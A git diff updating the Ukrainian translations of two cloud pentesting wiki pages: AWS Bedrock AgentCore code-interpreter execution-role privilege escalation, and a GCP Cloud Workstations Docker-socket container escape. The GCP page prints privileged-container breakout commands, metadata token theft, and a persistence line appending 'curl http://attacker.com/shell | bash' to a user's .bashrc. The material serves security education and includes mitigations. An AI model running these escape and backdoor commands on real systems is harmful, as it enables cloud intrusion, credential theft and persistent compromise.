diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 755a7144a..cfa8c7237 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter — це кероване середовище виконання. **Custom Code Interpreters** можна налаштувати з **`executionRoleArn`**, який «надає дозволи інтерпретатору коду для доступу до AWS services». +AgentCore Code Interpreter — це кероване середовище виконання. **Custom Code Interpreters** можна сконфігурувати з параметром **`executionRoleArn`**, який «надає дозволи для code interpreter на доступ до сервісів AWS». -Якщо **lower-privileged IAM principal** може **start + invoke** сесію Code Interpreter, налаштовану з **more privileged execution role**, викликач фактично може **pivot into the execution role’s permissions** (lateral movement / privilege escalation залежно від обсягу ролі). +Якщо **lower-privileged IAM principal** може **start + invoke** сесію **Code Interpreter**, налаштовану з **more privileged execution role**, викликач фактично може **pivot into the execution role’s permissions** (lateral movement / privilege escalation залежно від області ролі). > [!NOTE] -> Зазвичай це питання **misconfiguration / excessive permissions** (надання широких дозволів виконуючій ролі інтерпретатора і/або широкого доступу до invoke). -> AWS явно попереджає, щоб уникнути privilege escalation, переконуючись, що execution roles мають **equal or fewer** privileges, ніж identities, яким дозволено invoke. +> Зазвичай це проблема **misconfiguration / excessive permissions** (надання широких дозволів ролі виконання інтерпретатора та/або надання широкого invoke-доступу). +> AWS прямо попереджає про необхідність уникати privilege escalation, переконавшись, що execution roles мають **equal or fewer** привілеїв, ніж ідентичності, яким дозволено викликати. -#### Передумови (common misconfiguration) +#### Preconditions (common misconfiguration) -- Існує **custom code interpreter** з надмірно привілейованою **execution role** (ex: доступ до чутливих S3/Secrets/SSM або можливості на кшталт IAM-admin). +- Існує **custom code interpreter** з надмірно привілейованою **execution role** (наприклад: доступ до конфіденційних S3/Secrets/SSM або можливості типу IAM-admin). - Користувач (developer/auditor/CI identity) має дозволи на: -- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` -- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` -- (Optional) Користувач також може створювати інтерпретатори: `bedrock-agentcore:CreateCodeInterpreter` (дозволяє створити нового інтерпретатора, налаштованого з execution role, залежно від org guardrails). + - start sessions: `bedrock-agentcore:StartCodeInterpreterSession` + - invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` +- (Опційно) Користувач також може створювати interpreters: `bedrock-agentcore:CreateCodeInterpreter` (дозволяє створити новий interpreter, налаштований з execution role, залежно від org guardrails). -#### Recon (identify custom interpreters and execution role usage) +#### Recon (виявлення custom interpreters та використання execution role) Перелічіть interpreters (control-plane) та перевірте їх конфігурацію: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id ```` -> Команда create-code-interpreter підтримує `--execution-role-arn`, який визначає, які дозволи AWS матиме інтерпретатор. +> Команда create-code-interpreter підтримує `--execution-role-arn`, який визначає, які дозволи AWS матиме interpreter. -#### Крок 1 - Розпочати сесію (це повертає `sessionId`, а не interactive shell) +#### Крок 1 - Розпочніть сесію (це повертає `sessionId`, а не interactive shell) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -45,9 +45,9 @@ echo "SessionId: $SESSION_ID" ``` #### Крок 2 - Виклик виконання коду (Boto3 або підписаний HTTPS) -Немає **інтерактивної оболонки python** від `start-code-interpreter-session`. Виконання відбувається через **InvokeCodeInterpreter**. +Немає **інтерактивної python shell** при `start-code-interpreter-session`. Виконання відбувається через **InvokeCodeInterpreter**. -**Варіант A - приклад Boto3 (запуск Python + перевірка ідентичності):** +**Варіант A - приклад Boto3 (виконати Python + перевірити ідентичність):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Якщо інтерпретатор налаштовано з execution role, вивід `sts:GetCallerIdentity()` має відображати ідентичність цієї ролі (а не low-priv caller), що демонструє pivot. +Якщо інтерпретатор налаштовано з execution role, вивід `sts:GetCallerIdentity()` має відображати ідентичність цієї ролі (а не low-priv caller), демонструючи pivot. -**Варіант B - Підписаний HTTPS виклик (awscurl):** +**Option B - Підписаний HTTPS виклик (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -87,20 +87,20 @@ awscurl -X POST \ } }' ``` -#### Наслідки +#### Вплив -* **Lateral movement** до будь-якого доступу AWS, який має роль виконання інтерпретатора. -* **Privilege escalation** якщо роль виконання інтерпретатора має більше привілеїв, ніж викликач. -* Ускладнене виявлення, якщо CloudTrail data events для викликів інтерпретатора не ввімкнено (виклики можуть не логуватися за замовчуванням, залежно від конфігурації). +* **Lateral movement** у будь-який AWS-доступ, який має роль виконання інтерпретатора. +* **Privilege escalation** якщо роль виконання інтерпретатора має більші привілеї, ніж викликач. +* Ускладнене виявлення, якщо CloudTrail data events для викликів інтерпретатора не увімкнені (виклики за замовчуванням можуть не реєструватися, залежно від конфігурації). -#### Пом'якшення ризиків / Посилення безпеки +#### Пом'якшення / Укріплення -* **Least privilege** для інтерпретатора `executionRoleArn` (ставтеся до нього так само, як до Lambda execution roles / CI roles). -* **Обмежте, хто може викликати** (`bedrock-agentcore:InvokeCodeInterpreter`) та хто може починати сесії. -* Використовуйте **SCPs** для заборони InvokeCodeInterpreter, за винятком затверджених agent runtime roles (може знадобитися застосування на рівні org). -* Увімкніть відповідні **CloudTrail data events** для AgentCore там, де це доречно; сповіщайте про несподівані виклики та створення сесій. +* **Least privilege** щодо інтерпретатора `executionRoleArn` (ставтеся до нього як до Lambda execution roles / CI roles). +* **Обмежити, хто може викликати** (`bedrock-agentcore:InvokeCodeInterpreter`) та хто може починати сесії. +* Використовуйте **SCPs** для заборони InvokeCodeInterpreter, за винятком затверджених agent runtime roles (можливе необхідне примусове застосування на рівні організації). +* Увімкніть відповідні **CloudTrail data events** для AgentCore там, де це застосовно; налаштуйте оповіщення про небажані виклики та створення сесій. -## References +## Посилання - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 4649eec45..64bda46b9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -1,22 +1,22 @@ # GCP - Cloud Workstations Privesc -### Container Breakout via Docker Socket (Container -> VM -> Project) +### Container Breakout через Docker Socket (Container -> VM -> Project) -Головний шлях ескалації привілеїв у Cloud Workstations походить від потреби підтримувати **Docker-in-Docker (DinD)** робочі процеси для розробників. Якщо конфігурація workstation монтує Docker socket або дозволяє privileged containers (типова конфігурація), атакуючий всередині контейнера workstation може втекти на підлягаючу Compute Engine VM і викрасти її service account token. +Основний шлях підвищення привілеїв у Cloud Workstations випливає з необхідності підтримки **Docker-in-Docker (DinD)** workflows для розробників. Коли конфігурація workstation монтує Docker socket або дозволяє privileged containers (поширена конфігурація), атакуючий всередині контейнера workstation може втекти на підлеглий Compute Engine VM і вкрасти його service account token. **Prerequisites:** -- Доступ до терміналу Cloud Workstation (через SSH, скомпрометовану сесію або викрадені облікові дані) -- Конфігурація workstation має монтувати `/var/run/docker.sock` або дозволяти privileged containers +- Доступ до терміналу Cloud Workstation (через SSH, скомпрометовану сесію або вкрадені облікові дані) +- Конфігурація workstation має монтувати `/var/run/docker.sock` або дозволяти привілейовані контейнери -**Architecture context:** Workstation — це контейнер (Layer 3), що запускається на runtime Docker/Containerd (Layer 2) на GCE VM (Layer 1). Docker socket дає прямий доступ до container runtime хоста. +**Architecture context:** workstation — це контейнер (Layer 3), що працює на Docker/Containerd runtime (Layer 2) на GCE VM (Layer 1). Docker socket дає прямий доступ до container runtime хоста. > [!NOTE] -> Інструмент [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) автоматизує повний container escape і дає вам root shell на host VM. +> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) автоматизує повний container escape і відкриває root shell на хост-VM.
-Крок 1: Перевірте наявність Docker socket +Крок 1: Перевірка наявності Docker socket ```bash # Verify the Docker socket is available ls -l /var/run/docker.sock @@ -28,7 +28,7 @@ ls -l /var/run/docker.sock Крок 2: Втеча у файлову систему віртуальної машини хоста -Ми запускаємо привілейований контейнер, монтуємо кореневий каталог хоста в `/mnt/host`. Також ділимо мережу хоста та PID namespace, щоб максимально підвищити видимість. +Ми запускаємо привілейований контейнер, монтуємо кореневий каталог хоста в `/mnt/host`. Також ми ділимося мережею хоста та простором імен PID, щоб максимально підвищити видимість. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -38,7 +38,7 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Тепер у вас є **root shell на підлягаючому Compute Engine VM** (Layer 1). +Тепер у вас є **root shell на базовому Compute Engine VM** (Layer 1).
@@ -64,13 +64,13 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop > **Перевірте Scopes!** > Навіть якщо прикріплений Service Account має роль **Editor**, VM може бути обмежений access scopes. > Якщо ви бачите `https://www.googleapis.com/auth/cloud-platform`, у вас повний доступ. -> Якщо ви бачите лише `logging.write` і `monitoring.write`, ви обмежені лише векторами **Network Pivot** та **Persistence**, наведеними нижче. +> Якщо ви бачите лише `logging.write` та `monitoring.write`, ви обмежені векторами **Network Pivot** та **Persistence** нижче.
-Step 4: Achieve Persistence (Backdoor the User) +Крок 4: Achieve Persistence (Backdoor the User) -Cloud Workstations монтують persistent disk у `/home/user`. Оскільки container user (зазвичай `user`, UID 1000) збігається з host user (UID 1000), ви можете записувати в домашню директорію хоста. Це дозволяє вам backdoor середовище навіть якщо workstation container буде відтворено. +Cloud Workstations монтують persistent disk до `/home/user`. Оскільки container user (зазвичай `user`, UID 1000) збігається з host user (UID 1000), ви можете записувати в домашній каталог хоста. Це дозволяє вам backdoor the environment навіть якщо workstation container буде перебудовано. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc Крок 5: Network Pivot (Internal VPC Access) -Оскільки ви використовуєте простір імен мережі хоста (`--net=host`), ви тепер trusted node у VPC. Ви можете scan internal services, які дозволяють доступ на основі IP whitelisting. +Оскільки ви розділяєте простір імен мережі хоста (`--net=host`), ви тепер є довіреним вузлом у VPC. Ви можете scan внутрішні сервіси, які дозволяють доступ на основі IP whitelisting. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap